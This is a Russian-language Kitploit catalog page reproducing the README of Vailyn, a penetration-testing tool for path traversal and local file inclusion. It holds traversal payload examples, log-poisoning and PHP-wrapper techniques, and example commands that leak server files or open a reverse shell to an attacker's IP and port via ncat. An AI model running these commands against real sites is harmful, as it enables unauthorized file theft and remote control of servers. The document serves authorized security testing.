Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Vailyn — Фазированный, обходной инструмент для сканирования и эксплуатации Path Traversal и LFI на Python | Kitploit
Инструменты/GitHubGitHub/vainlystrain/vailyn
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubvainlystrain/vailyn

Vailyn

Фазированный, обходной инструмент для сканирования и эксплуатации Path Traversal и LFI на Python

Репозиторий
200244 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться


Vailyn


Фазированные атаки с обходом пути и LFI

Vailyn 3.0

Начиная с v3.0, Vailyn поддерживает LFI PHP-обёртки в Фазе 1. Используйте --lfi, чтобы включить их в сканирование.

О программе

Vailyn — это многофазовый инструмент для анализа и эксплуатации уязвимостей типа Path Traversal (обход пути) и File Inclusion (включение файлов). Он создан для максимальной производительности и предлагает широкий арсенал техник обхода фильтров.

Как это работает?

Vailyn работает в 2 фазы. Сначала он проверяет, присутствует ли уязвимость. Он пытается получить доступ к /etc/passwd (или указанному пользователем файлу), используя все свои обходные нагрузки (payloads). Анализируя ответы, нагрузки, которые сработали, отделяются от остальных.

Теперь пользователь может свободно выбирать, какие нагрузки использовать. Только эти нагрузки будут применяться во второй фазе.

Вторая фаза — фаза эксплуатации. Инструмент пытается извлечь все возможные файлы с сервера, используя словари файлов и каталогов. Глубина поиска и уровень перестановки каталогов могут быть настроены через аргументы. Опционально он может загружать найденные файлы и сохранять их в папке «loot». Альтернативно, он попытается получить обратную оболочку (reverse shell) на системе, предоставляя атакующему полный контроль над сервером.

В настоящее время поддерживаются несколько векторов атаки: внедрение через параметры запроса (query), путь (path), cookie и POST-данные.

Зачем разделение на фазы?

Разделение на несколько фаз значительно повышает производительность инструмента. В предыдущих версиях каждая комбинация «файл-каталог» проверялась с каждой нагрузкой. Это приводило к огромным накладным расходам, так как нагрузки всегда использовались повторно, даже если они не работали для текущей страницы.

Установка

Рекомендуемые и протестированные версии Python — 3.7+, хотя инструмент должен нормально работать и с Python 3.5 и Python 3.6. Для установки Vailyn скачайте архив из раздела релизов или выполните

root@kitploit:~
$ git clone https://github.com/VainlyStrain/Vailyn

После установки на систему вам потребуется установить зависимости Python.

Unix-системы

В Unix-системах достаточно выполнить

root@kitploit:~
$ pip install -r requirements.txt   # --user

Windows

Некоторые библиотеки, используемые Vailyn, плохо работают с Windows или могут не установиться.

Если вы используете Windows, используйте pip для установки зависимостей, перечисленных в Vailyn\·›\requirements-windows.txt.

Если twisted не устанавливается, существует неофициальная версия, доступная здесь, которая должна собираться в Windows. Имейте в виду, что это сторонняя загрузка, и целостность не обязательно гарантируется. После успешной установки повторный запуск pip для requirements-windows.txt должен сработать.

Заключительные шаги

Если вы хотите полноценно использовать модуль reverse shell, вам потребуется установить sshpass, ncat и konsole. Имена пакетов различаются в зависимости от дистрибутива Linux. В Windows вам нужно будет вручную запустить прослушиватель заранее. Если вам не нравится konsole, вы можете указать другой эмулятор терминала в core/config.py.

Вот и всё! Запустите Vailyn, перейдя в его каталог установки и выполнив

root@kitploit:~
$ python Vailyn -h

Использование

Vailyn имеет 3 обязательных аргумента: -v VIC, -a INT и -p2 TP P1 P2. Однако в зависимости от -a могут потребоваться дополнительные аргументы.

root@kitploit:~
   ,                \                  /               , 
     ':.             \.      /\.     ./            .:'
        ':;.          :\ .,:/   ''. /;        ..::'
           ',':.,.__.'' '          ' `:.__:''.:'
              ';..                        ,;'     *
       *         '.,                   .:'
                    `v;.            ;v'        o
              .      '  '..      :.' '     .
                     '     ':;, '    '
            o                '          .   :        
                                           *
                         | Vailyn |
                      [ VainlyStrain ]
    
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
        [-p PAM] [-i F] [-Pi VIC2]
      [-c C] [-n] [-d I J K]
       [-s T] [-t] [-L]
  [-l] [-P] [-A] 

mandatory:
  -v VIC, --victim VIC  Target to attack, part 1 [pre-payload]
  -a INT, --attack INT  Attack type (int, 1-5, or A)

    A|  Spider (all)       2|  Path               5|  POST Data, json
    P|  Spider (partial)   3|  Cookie
    1|  Query Parameter    4|  POST Data, plain

  -p2 TP P1 P2, --phase2 TP P1 P2
                        Attack in Phase 2, and needed parameters

┌[ Values ]─────────────┬────────────────────┐
│ TP      │ P1          │ P2                 │
├─────────┼─────────────┼────────────────────┤
│ leak    │ File Dict   │ Directory Dict     │
│ inject  │ IP Addr     │ Listening Port     │
│ implant │ Source File │ Server Destination │
└─────────┴─────────────┴────────────────────┘

additional:
  -p PAM, --param PAM   query parameter or POST data for --attack 1, 4, 5
  -i F, --check F       File to check for in Phase 1 (df: etc/passwd)
  -Pi VIC2, --vic2 VIC2 Attack Target, part 2 [post-payload]
  -c C, --cookie C      Cookie to append (in header format)
  -l, --loot            Download found files into the loot folder
  -d I J K, --depths I J K
                        depths (I: phase 1, J: phase 2, K: permutation level)
  -h, --help            show this help menu and exit
  -s T, --timeout T     Request Timeout; stable switch for Arjun
  -t, --tor             Pipe attacks through the Tor anonymity network
  -L, --lfi             Additionally use PHP wrappers to leak files
  -n, --nosploit        skip Phase 2 (does not need -p2 TP P1 P2)
  -P, --precise         Use exact depth in Phase 1 (not a range)
  -A, --app             Start Vailyn's Qt5 interface

develop:
  --debug               Display every path tried, even 404s.
  --version             Print program version and exit.
  --notmain             Avoid notify2 crash in subprocess call.

Info:
  to leak files using absolute paths: -d 0 0 0
  to get a shell using absolute paths: -d 0 X 0

Vailyn в настоящее время поддерживает 5 векторов атаки и предоставляет краулер для их автоматизации. Выполняемая атака определяется аргументом -a INT.

root@kitploit:~
INT        attack
----       -------
1          query-based attack  (https://site.com?file=../../../)
2          path-based attack   (https://site.com/../../../)
3          cookie-based attack (will grab the cookies for you)
4          plain post data     (ELEM1=VAL1&ELEM2=../../../)
5          json post data      ({"file": "../../../"})
A          spider              fetch + analyze all URLs from site using all vectors
P          partial spider      fetch + analyze all URLs from site using only selected vectors

Вы также должны указать цель атаки. Это делается с помощью -v VIC и -Pi VIC2, где -v — часть до точки внедрения, а -Pi — остальная часть.

Пример: если конечный URL должен выглядеть так: https://site.com/download.php?file=<ATTACK>&param2=necessaryvalue, вы можете указать -v https://site.com/download.php и -Pi &param2=necessaryvalue (и -p file, так как это атака через параметр запроса).

Если вы хотите включить в сканирование PHP-обёртки (например, php://filter), используйте аргумент --lfi. В конце Фазы 1 вам будет представлено дополнительное меню выбора, содержащее обёртки, которые сработали (если таковые имеются).

Если атакуемый сайт находится за страницей входа, вы можете указать cookie аутентификации через -c COOKIE. Если вы хотите атаковать через Tor, используйте --tor.

Фаза 1

Это фаза анализа, где рабочие нагрузки отделяются от остальных.

По умолчанию производится поиск /etc/passwd. Если сервер не работает под Linux, вы можете указать свой файл с помощью -i FILENAME. Обратите внимание, что в FILENAME нужно включать подкаталоги. Вы можете изменить глубину поиска с помощью первого значения -d (по умолчанию=8). Если вы хотите использовать абсолютные пути, установите первую глубину в 0.

Фаза 2

Это фаза эксплуатации, где Vailyn попытается извлечь как можно больше файлов или получить обратную оболочку с использованием различных техник.

Глубина поиска в фазе 2 (максимальное количество слоёв, проходимых назад) задаётся вторым значением аргумента -d. Уровень перестановки подкаталогов устанавливается третьим значением -d.

Если вы атакуете с абсолютными путями и выполняете атаку на утечку, установите все глубины в 0. Если вы хотите получить обратную оболочку, убедитесь, что вторая глубина больше 0.

Указав -l, Vailyn будет не только отображать файлы на терминале, но и загружать и сохранять их в папку «loot».

Если вы хотите подробный вывод (отображать каждый ответ, а не только найденные файлы), используйте --debug. Имейте в виду, что вывод становится очень запутанным — это по сути помощь при отладке.

Для выполнения атаки методом перебора (bruteforce) необходимо указать -p2 leak FIL PATH, где

  • FIL — файл словаря, содержащий только имена файлов (например, index.php)
  • PATH — файл словаря, содержащий только имена каталогов. Vailyn сам обработает перестановку каталогов, поэтому вам потребуется только один каталог в строке.

Чтобы получить обратную оболочку путём внедрения кода, можно использовать -p2 inject IP PORT, где

  • IP — ваш прослушивающий IP
  • PORT — порт, на котором вы хотите слушать.

ПРЕДУПРЕЖДЕНИЕ

Vailyn использует методы отравления журналов (Log Poisoning). Следовательно, УКАЗАННЫЙ ВАМИ IP БУДЕТ ВИДЕН В ЖУРНАЛАХ СЕРВЕРА.

Техники (работают только для LFI-включений):

  • /proc/self/environ inclusion — работает только на устаревших серверах
  • Apache + Nginx Log Poisoning & inclusion
  • SSH Log Poisoning
  • poisoned mail inclusion
  • обёртки
    • expect://
    • data:// (plain & b64)
    • php://input

Предотвращение ложных срабатываний

Для отличия реальных результатов от ложных срабатываний Vailyn выполняет следующие проверки:

  • проверяет код состояния ответа
  • проверяет, идентичен ли ответ ответу, полученному до начала атаки: это полезно, например, когда сервер возвращает 200, но игнорирует входные данные нагрузки или возвращает страницу по умолчанию, если файл не найден.
  • аналогично п.2, выполняет дополнительную проверку обработки GET-параметров запроса (полезно, когда сервер возвращает ошибку об отсутствии необходимого параметра)
  • проверяет пустые ответы
  • проверяет наличие в содержимом ответа общих сигнатур ошибок
  • проверяет, содержится ли нагрузка в ответе: это дополнительная проверка на случай, если сервер возвращает 200 для несуществующих файлов и отражает нагрузку в сообщении (например, ../../secret not found)
  • проверяет, содержится ли весь ответ в ответе начальной проверки: полезно, когда сервер имеет включение по умолчанию, которое исчезает в случае 404
  • для -a 2 выполняет дополнительную проверку, совпадает ли содержимое ответа с содержимым корневого URL сервера
  • REGEX-проверка для /etc/passwd, если этот файл используется для поиска

Примеры

  • Простая атака через параметр запроса, утечка файлов в Фазе 2: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT

  • Атака через параметр запроса, но я знаю, что файл file.php находится ровно на 2 уровня выше точки включения: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P Это значительно сократит продолжительность Фазы 1, так как это целевая атака.

  • Простая атака через путь: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT

  • Атака через путь, но мне нужны параметры запроса и тег: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title

  • Простая атака через Cookie: $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs Получит cookies и вы сможете выбрать cookie для отравления.

Демонстрация

asciicast Краулер Vailyn анализирует уязвимое веб-приложение. LFI-обёртки не включены.

GUI-демонстрация (v2.2.1-5)

Возможные проблемы

Нашли ложные срабатывания (или хотите указать на другие ошибки/улучшения): пожалуйста, оставьте issue!

Кодекс поведения

Vailyn предоставляется как инструмент для оффенсивного аудита веб-приложений. Он имеет встроенные функции, которые могут выявить потенциальные уязвимости в веб-приложениях, которые могут быть использованы злонамеренно.

ПОЭТОМУ НИ АВТОР, НИ УЧАСТНИКИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЕ НЕНАДЛЕЖАЩЕЕ ИСПОЛЬЗОВАНИЕ ИЛИ УЩЕРБ, ПРИЧИНЁННЫЙ ЭТИМ ИНСТРУМЕНТОМ.

Используя данное программное обеспечение, пользователь обязуется соблюдать местные законы, не атаковать чужие системы без явного разрешения владельца и не действовать со злым умыслом.

В случае нарушения ответственность за свои действия несёт только конечный пользователь, совершивший его.

Благодарности и авторские права

Vailyn: Copyright © VainlyStrain

Arjun: Copyright © s0md3v

Arjun больше не распространяется вместе с Vailyn. Установите его последнюю версию через pip.

Скачать инструмент
  • POST-атака с простыми данными: $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT" заразит DATA2 нагрузкой.

  • POST-атака с JSON: $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'

  • Атака, но цель находится за экраном входа: $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"

  • Атака, но я хочу получить обратную оболочку на порт 1337: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # высокая глубина Фазы 2 необходима для внедрения в журнал (запустит для вас прослушиватель ncat, если вы на Unix)

  • Полная автоматизация в режиме краулера: $ Vailyn -v "http://root-url.site" -a A здесь также можно указать другие аргументы, такие как cookie, глубины, lfi и файл поиска

  • Полная автоматизация, но Arjun требует --stable: $ Vailyn -v "http://root-url.site" -a A -s ANY